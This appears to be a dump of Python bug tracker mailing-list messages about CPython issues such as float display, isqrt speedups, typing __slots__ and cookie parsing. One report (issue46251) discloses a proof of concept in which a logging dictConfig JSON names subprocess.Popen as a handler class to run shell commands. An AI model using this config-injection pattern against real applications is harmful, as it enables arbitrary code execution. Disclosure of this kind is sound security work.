2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
resolution:  -> duplicate
stage: test needed -> resolved
status: open -> closed
superseder:  -> python-gdb.py fails with TypeError("'FakeRepr' object is not 
subscriptable") is gdb fails to read debug symbols

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46259] float formatting error?

2022-01-04 Thread John Holman


John Holman  added the comment:

Thanks - sorry to waste your time.

On Tue, 4 Jan 2022 at 18:17, Raymond Hettinger 
wrote:

>
> Raymond Hettinger  added the comment:
>
> The two numbers you gave become the same when rounded to the limited
> internal precision used by floats.
>
> >>> 1.12345678901234 == 1.123456789011
> True
>
> When it comes to displaying the number, Python tries to show the shortest
> possible member of the equivalence class.
>
> --
> nosy: +rhettinger
> resolution:  -> not a bug
> stage:  -> resolved
> status: open -> closed
>
> ___
> Python tracker 
> 
> ___
>

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46259] float formatting error?

2022-01-04 Thread Raymond Hettinger


Raymond Hettinger  added the comment:

The two numbers you gave become the same when rounded to the limited internal 
precision used by floats.

>>> 1.12345678901234 == 1.123456789011
True

When it comes to displaying the number, Python tries to show the shortest 
possible member of the equivalence class.

--
nosy: +rhettinger
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

Okay, so it is probably here to stay. We could justify it (after the fact :-) 
by saying that you can instantiate list[int], but not Any.

Are there exceptions to that? (I.e. are there other annotation types that have 
isinstance(X, type) return False but can be instantiated, or the other way 
around?)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46259] float formatting error?

2022-01-04 Thread John Holman


New submission from John Holman :

Example:

str(1.12345678901234)
Out[24]: '1.123456789011'

shouldn't the last digit should be 2?

--
messages: 409696
nosy: johngholman
priority: normal
severity: normal
status: open
title: float formatting error?
type: behavior
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45609] Specialize STORE_SUBSCR

2022-01-04 Thread Mark Shannon


Mark Shannon  added the comment:


New changeset 7537f6008704b20e2d04a7ef1c0cfa34121cc5eb by Dennis Sweeney in 
branch 'main':
bpo-45609: More specialization stats for STORE_SUBSCR (GH-30193)
https://github.com/python/cpython/commit/7537f6008704b20e2d04a7ef1c0cfa34121cc5eb


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Alex Waygood


Alex Waygood  added the comment:

`isinstance(list[int], type)` returns `True` in 3.9 as well, so the behaviour 
has been around for a while. (Not a comment on whether the change is worth 
making, just a note.)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue41011] [venv] record which executable and command were used to create a virtual environment

2022-01-04 Thread Éric Araujo

Change by Éric Araujo :


--
versions: +Python 3.11 -Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46258] Minor algorithmic improvements for math.isqrt

2022-01-04 Thread Mark Dickinson


Change by Mark Dickinson :


--
keywords: +patch
pull_requests: +28612
stage: commit review -> patch review
pull_request: https://github.com/python/cpython/pull/30333

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46258] Minor algorithmic improvements for math.isqrt

2022-01-04 Thread Mark Dickinson


New submission from Mark Dickinson :

There are a couple of minor algorithmic improvements possible for the 
math.isqrt fast path (which is used for nonnegative integers smaller than 
2**64). On my machine those improvements produce a little over a 10% speedup.

The current algorithm for values under 2**64 involves exactly four division 
instructions, corresponding to four Newton steps. The proposal is to:

- 1. Replace the first division with a table lookup. The necessary table is 
extremely small: 12 entries at one byte per entry.
- 2. Arrange for the return type of the _approximate_sqrt helper function to be 
uint32_t rather than uint64_t. That means that the correction step only 
involves a 32-bit-by-32-bit multiplication, not a 64-bit-by-64-bit 
multiplication.

The second part is a bit subtle: the input to _approximate_sqrt is a 64-bit 
integer `n` in the range [2**62, 2**64). Barring any overflow, the output `u` 
is guaranteed to satisfy `(u-1)**2 < n < (u+1)**2`. That implies that `(u-1)**2 
< 2**64`, from which it follows that `u <= 2**32`. So the only possible case 
where `u` might overflow a `uint32_t` is when `u == 2**32`. But from the 
earlier inequality, that can only happen if `n > (2**32 - 1)**2`, and in that 
case the top 31 bits of `n` are completely determined and since the first steps 
of the algorithm only depend on the topmost bits of `n`, it's easy to follow 
through the algorithm and see that it's not possible for `u` to be `2**32` in 
that case. (We always get `u = 128` from the lookup, followed by `u = 255` 
after the first division, then `u = 65536` after the second.)

--
components: Extension Modules
messages: 409693
nosy: mark.dickinson
priority: normal
severity: normal
stage: commit review
status: open
title: Minor algorithmic improvements for math.isqrt
type: performance
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46257] Convert statistics sum of squares to a single pass algorithm

2022-01-04 Thread Raymond Hettinger


Change by Raymond Hettinger :


--
keywords: +patch
pull_requests: +28611
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30403

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46257] Convert statistics sum of squares to a single pass algorithm

2022-01-04 Thread Raymond Hettinger


New submission from Raymond Hettinger :

The existing code makes two passes, one to compute the mean and another to 
compute the sum of squared differences from the mean.  A consequence of making 
two passes is that iterator inputs must be converted to a list before 
processing.  This throws away the memory saving advantages of iterators. 

The ostensible reason for the two pass code is that the single pass variant is 
numerically unstable when implemented with floating point accumulators.  
However, this code uses fractions throughout, so the accumulation is exact.

Changing to a single pass saves memory, doubles the speed, and simplifies the 
upstream code in variance(), pvariance(), stdev(), and pstdev().

--
components: Library (Lib)
messages: 409692
nosy: rhettinger, steven.daprano
priority: normal
severity: normal
status: open
title: Convert statistics sum of squares to a single pass algorithm
type: performance
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

So is it too late to change this? This went out with 3.10, Serhiy has argued 
it's a bugfix.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46244] typing._TypeVarLike missing __slots__

2022-01-04 Thread Arie Bovenberg


Arie Bovenberg  added the comment:

@kj I would very much like to! Seems like a good place to start contributing :)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46187] Optionally support rounding for math.isqrt()

2022-01-04 Thread Tim Peters


Tim Peters  added the comment:

> Is
>
>  i, rem = isqrt_rem(n)
>  i + (rem != 0)
>
> better than
>
>   (isqrt(n<<2) + 1) >> 1
>
> or
>
>   n and isqrt(n-1) + 1
>
> ?

Define "better"? The first way is by far the most obvious of the three, and the 
second way the least obvious. The first way also "wins" on being  a variation 
of a uniform pattern that can deliver the floor, ceiling, or rounded result, 
depending on which simple comparison result is added. It's not "a trick" - it's 
the opposite of clever ;-)

The first way is also unique in being the only one of the three that does _not_ 
do any Python-level arithmetic on integers as wide as `n`. `i` and `rem` are no 
more than about half the bit length of `n`. `n << 2` and `n - 1` in the others 
have to create new int objects at least as wide as `n`.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue41945] http.cookies.SimpleCookie.parse error after [keys] or some JSON data values

2022-01-04 Thread Jan Novak


Jan Novak  added the comment:

New examples with the structured data.

Problems are with quotes and spaces inside { or [

cookie-script.com set those cookie data:
CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}

Python loads only cookies before that JSON structure

>>> from http.cookies import SimpleCookie
>>> ck = SimpleCookie()
>>> ck.load('id=12345; 
>>> CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}; 
>>> something="not loaded"')
>>> print(ck)
Set-Cookie: id=12345

This works:
>>> ck.load('id=12345; complex_data={1:[1,2]}; something="loaded"')
>>> print(ck)
Set-Cookie: complex_data={1:[1,2]}
Set-Cookie: id=12345
Set-Cookie: something="loaded"

This not works:
>>> ck.load('id=12345; complex_data={1:[1, 2]}; something="not loaded"')
>>> print(ck)
Set-Cookie: complex_data={1:[1,
Set-Cookie: id=12345

Conclusion:
Parsing JSON like cookie objects works, except quotes and without spaces. 

Exist some new RFC with JSON data support?
How implementation/support/solution in diferent languages?
Exist another Python library which support cookie with JSON data?

--
title: http.cookies.SimpleCookie.parse error after [keys] -> 
http.cookies.SimpleCookie.parse error after [keys] or some JSON data values
versions: +Python 3.10 -Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46256] Objects __del__ called after module have been removed

2022-01-04 Thread Christopher Vickery


Christopher Vickery  added the comment:

If the attached module is run with no command line arguments, it will reproduce 
the problem without doing anything else. When run using Python 3.9 it does not 
cause the problem. (This module comes from 
https://github.com/cvickery/transfer-app, with an unnecessary import commented 
out.)

--
nosy: +cvickery
Added file: https://bugs.python.org/file50540/format_rules.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46070] _PyImport_FixupExtensionObject() regression causing a crash in subintepreters

2022-01-04 Thread STINNER Victor


STINNER Victor  added the comment:

Fedora issue: https://bugzilla.redhat.com/show_bug.cgi?id=2034962

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45173] Remove configparser deprecations

2022-01-04 Thread Hugo van Kemenade


Hugo van Kemenade  added the comment:

Searching 4,764 sdists from the top 5,000 PyPI packages, these 13 contain 
"LegacyInterpolation":

configparser-5.1.0.tar.gz
configparser2-4.0.0.tar.gz
eth_abi-2.1.1.tar.gz
eth-account-0.5.6.tar.gz
eth-hash-0.3.2.tar.gz
eth-utils-1.10.0.tar.gz
hexbytes-0.2.2.tar.gz
jedi-0.18.1.tar.gz
magicinvoke-2.4.5.tar.gz
mypy-0.910.tar.gz
pytype-2021.11.12.tar.gz
web.py-0.62.tar.gz
webcolors-1.11.1.tar.gz


The first two are stdlib backports: configparser is active and configparser2 
was last updated in 2015:

configparser-5.1.0/src/backports/configparser/__init__.py:
"LegacyInterpolation",
configparser-5.1.0/src/backports/configparser/__init__.py:class 
LegacyInterpolation(Interpolation):
configparser-5.1.0/src/configparser.py:"LegacyInterpolation",
configparser-5.1.0/src/configparser.py:LegacyInterpolation,
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:interpolation = 
configparser.LegacyInterpolation()
configparser-5.1.0/src/test_configparser.py:class 
ConfigParserTestCaseLegacyInterpolation(ConfigParserTestCase, 
unittest.TestCase):

configparser2-4.0.0/src/backports/configparser2/__init__.py:class 
LegacyInterpolation(Interpolation):
configparser2-4.0.0/src/configparser2.py:LegacyInterpolation,


The others are all configparser.pyi typeshed stub files:

eth_abi-2.1.1/venv/lib/python3.6/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth_abi-2.1.1/venv/lib64/python3.6/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-account-0.5.6/venv/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-hash-0.3.2/venv/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv-py3.8/lib/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv-py3.8/lib/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv-py3.8/lib64/python3.8/site-packages/jedi/third_party/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...
eth-utils-1.10.0/venv-py3.8/lib64/python3.8/site-packages/mypy/typeshed/stdlib/3/configparser.pyi:class
 LegacyInterpolation(Interpolation): ...

[issue26208] decimal C module's exceptions don't match the Python version

2022-01-04 Thread Cédric Krier

Change by Cédric Krier :


--
nosy: +ced

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46256] Objects __del__ called after module have been removed

2022-01-04 Thread Daniele Varrazzo


New submission from Daniele Varrazzo :

The following bug has been reported to Psycopg:

https://github.com/psycopg/psycopg/issues/198

At the end of the program, errors such as the following are dumped:

Exception ignored in: 
Traceback (most recent call last):
  File 
"/opt/homebrew/lib/python3.10/site-packages/psycopg/pq/pq_ctypes.py", line 91, 
in __del__
TypeError: 'NoneType' object is not callable

Where `None` is some module-level objects, such as `os.getpid`.

Unfortunately I don't have a full repro. The error seems only happening in 
Python 3.10.

--
components: Interpreter Core
messages: 409684
nosy: piro
priority: normal
severity: normal
status: open
title: Objects __del__ called after module have been removed
versions: Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread Alex Waygood


Change by Alex Waygood :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43224] Add support for PEP 646

2022-01-04 Thread Alex Waygood


Change by Alex Waygood :


--
nosy: +gvanrossum, kj

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46248] Compilation errors on macOS

2022-01-04 Thread Ronald Oussoren


Ronald Oussoren  added the comment:

Part of the problem here is that most keys in the result of 
sysconfig.get_config_vars() are copied as-is from the CPython Makefile and 
pyconfig.h header file.

The keys copied from the Makefile are in a lot of cases not useful for users of 
python because they contain values that are only useful while building CPython 
itself. 

Without knowing your use case it is hard to point you to a better solution, but 
as Ned writes in general just follow the instructions from the extending and 
embedding documentation.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread miss-islington

miss-islington  added the comment:


New changeset 9a9061d1ca7e28dc2b7e326153e933872c7cd452 by Miss Islington (bot) 
in branch '3.9':
bpo-20369: concurrent.futures.wait() now deduplicates futures given a… 
(GH-30168)
https://github.com/python/cpython/commit/9a9061d1ca7e28dc2b7e326153e933872c7cd452


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread miss-islington

miss-islington  added the comment:


New changeset ba124672d7bf490bea2930a3e8371823db5d4cae by Miss Islington (bot) 
in branch '3.10':
bpo-20369: concurrent.futures.wait() now deduplicates futures given a… 
(GH-30168)
https://github.com/python/cpython/commit/ba124672d7bf490bea2930a3e8371823db5d4cae


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue44899] tarfile: add support for creating an archive of potentially changing files

2022-01-04 Thread Marko Tuononen


Change by Marko Tuononen :


--
keywords: +patch
pull_requests: +28610
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30402

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__

2022-01-04 Thread Jason R. Coombs


Jason R. Coombs  added the comment:

Today I learned something. Thanks Arie. Yes, I agree that's a mistake. Perhaps 
the test suite should also have a test to capture the missed expectation (that 
__dict__ should not be present or setting attributes on EntryPoints instances 
should fail).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Ken Jin


Ken Jin  added the comment:

> It does seem inconsistent that Any is not considered a type but list[int] is

Yeah, almost none of the typing "types" are types ever since PEP 560. 
Issue45755 was a side effect too.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.*

2022-01-04 Thread Georg Brandl


Change by Georg Brandl :


--
nosy:  -georg.brandl

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46244] typing._TypeVarLike missing __slots__

2022-01-04 Thread Ken Jin


Ken Jin  added the comment:

Good catch Arie. Would you like to submit a PR for this?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43976] Allow Python distributors to add custom site install schemes

2022-01-04 Thread Miro Hrončok

Miro Hrončok  added the comment:

In Fedora 36+ / Python 3.10+ we now use an install_scheme that looks like this:

'purelib': '{base}/local/lib/python{py_version_short}/site-packages',
'platlib': 
'{platbase}/local/{platlibdir}/python{py_version_short}/site-packages',
'scripts': '{base}/local/bin',
'data': '{base}/local',
...

We got a user report [1] saying that `pip install --root ... --prefix /usr` the 
prefix is not respected at all.

That is, users expect that /usr/local is the prefix, and when they explicitly 
set it to /usr, the /local/ bit will not be there, while in reality, /local/ is 
not a part of the prefix, but it is a part of the installation scheme.

I can somehow relate to that assumption.

Now I wonder whether we should have adapted prefix instead of the installation 
scheme :/


Any ideas on how to approach this problem? I am quite clueless.


[1] https://bugzilla.redhat.com/show_bug.cgi?id=2026979

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread miss-islington


Change by miss-islington :


--
pull_requests: +28609
pull_request: https://github.com/python/cpython/pull/30401

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread Pablo Galindo Salgado

Pablo Galindo Salgado  added the comment:


New changeset 7d7817cf0f826e566d8370a0e974bbfed6611d91 by Kumar Aditya in 
branch 'main':
bpo-20369: concurrent.futures.wait() now deduplicates futures given a… 
(GH-30168)
https://github.com/python/cpython/commit/7d7817cf0f826e566d8370a0e974bbfed6611d91


--
nosy: +pablogsal

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20369] concurrent.futures.wait() blocks forever when given duplicate Futures

2022-01-04 Thread miss-islington


Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 4.0 -> 5.0
pull_requests: +28608
pull_request: https://github.com/python/cpython/pull/30400

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43224] Add support for PEP 646

2022-01-04 Thread Matthew Rahtz


Change by Matthew Rahtz :


--
pull_requests: +28607
pull_request: https://github.com/python/cpython/pull/30398

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46251] logger.config.configure_formatter executes arbitrary code

2022-01-04 Thread MarkBaggett


MarkBaggett  added the comment:

Let me also mention that the problem really includes anything that uses the 
resolve() functions. Here is a working example that puts an exploit in a 
HANDLER rather than a FORMATTER.

$ ls /tmp/alsoworked
ls: cannot access '/tmp/alsoworked': No such file or directory
$ python calculator.py 
$ ls /tmp/alsoworked 
/tmp/alsoworked
$ cat log.config
{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworked",
"shell" : "True"
}
}
}


Or if you prefer it in one file..

-

import logging.config
import json

log_config_txt = '''{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworks",
"shell" : "True"
}
}
}
'''

log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread Irit Katriel


Irit Katriel  added the comment:


New changeset 8f082e2bf43c1367e30d00874267dd25f7256cd0 by Miss Islington (bot) 
in branch '3.9':
bpo-33252: Document that ResourceWarning is ignored by default (GH-30358) 
(GH-30396)
https://github.com/python/cpython/commit/8f082e2bf43c1367e30d00874267dd25f7256cd0


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread Irit Katriel


Irit Katriel  added the comment:


New changeset 01b12942d0ba2fd3c2efdfb796e8816efc607ee7 by Miss Islington (bot) 
in branch '3.10':
bpo-33252: Document that ResourceWarning is ignored by default (GH-30358) 
(GH-30395)
https://github.com/python/cpython/commit/01b12942d0ba2fd3c2efdfb796e8816efc607ee7


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46255] Remove unnecessary check in _IOBase._check*() methods

2022-01-04 Thread Ma Lin


Change by Ma Lin :


--
keywords: +patch
pull_requests: +28606
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30397

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46255] Remove unnecessary check in _IOBase._check*() methods

2022-01-04 Thread Ma Lin


New submission from Ma Lin :

These methods are METH_NOARGS, in all cases the second parameter will be NULL.

{"_checkClosed",   _PyIOBase_check_closed, METH_NOARGS},
{"_checkSeekable", _PyIOBase_check_seekable, METH_NOARGS},
{"_checkReadable", _PyIOBase_check_readable, METH_NOARGS},
{"_checkWritable", _PyIOBase_check_writable, METH_NOARGS},

--
components: IO
messages: 409672
nosy: malin
priority: normal
severity: normal
status: open
title: Remove unnecessary check in _IOBase._check*() methods
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43224] Add support for PEP 646

2022-01-04 Thread Matthew Rahtz


Change by Matthew Rahtz :


--
components: +Parser, Tests
nosy: +lys.nikolaou, pablogsal
title: Add support for PEP 646 (Variadic Generics) to typing.py -> Add support 
for PEP 646
versions: +Python 3.11 -Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread miss-islington


Change by miss-islington :


--
pull_requests: +28605
pull_request: https://github.com/python/cpython/pull/30396

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread miss-islington


miss-islington  added the comment:


New changeset b949845b36b999185ed2bdf8a04dca1da39f3002 by Hugo van Kemenade in 
branch 'main':
bpo-33252: Document that ResourceWarning is ignored by default (GH-30358)
https://github.com/python/cpython/commit/b949845b36b999185ed2bdf8a04dca1da39f3002


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33252] [doc] Clarify ResourceWarning documentation

2022-01-04 Thread miss-islington


Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 5.0 -> 6.0
pull_requests: +28604
pull_request: https://github.com/python/cpython/pull/30395

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue25927] add dir_fd for mkstemp, and also maybe to all tempfile.*

2022-01-04 Thread Yassir Karroum


Yassir Karroum  added the comment:

Alright, I'll stop working on it then, thanks for the fix !

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs

2022-01-04 Thread miss-islington


miss-islington  added the comment:


New changeset 743394f2811796b30b618d4cb6dd582715f8638c by Miss Islington (bot) 
in branch '3.10':
bpo-46231: Remove invalid_* rules preceded by more tokens from the grammar docs 
(GH-30341)
https://github.com/python/cpython/commit/743394f2811796b30b618d4cb6dd582715f8638c


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46202] remove opcode POP_EXCEPT_AND_RERAISE

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
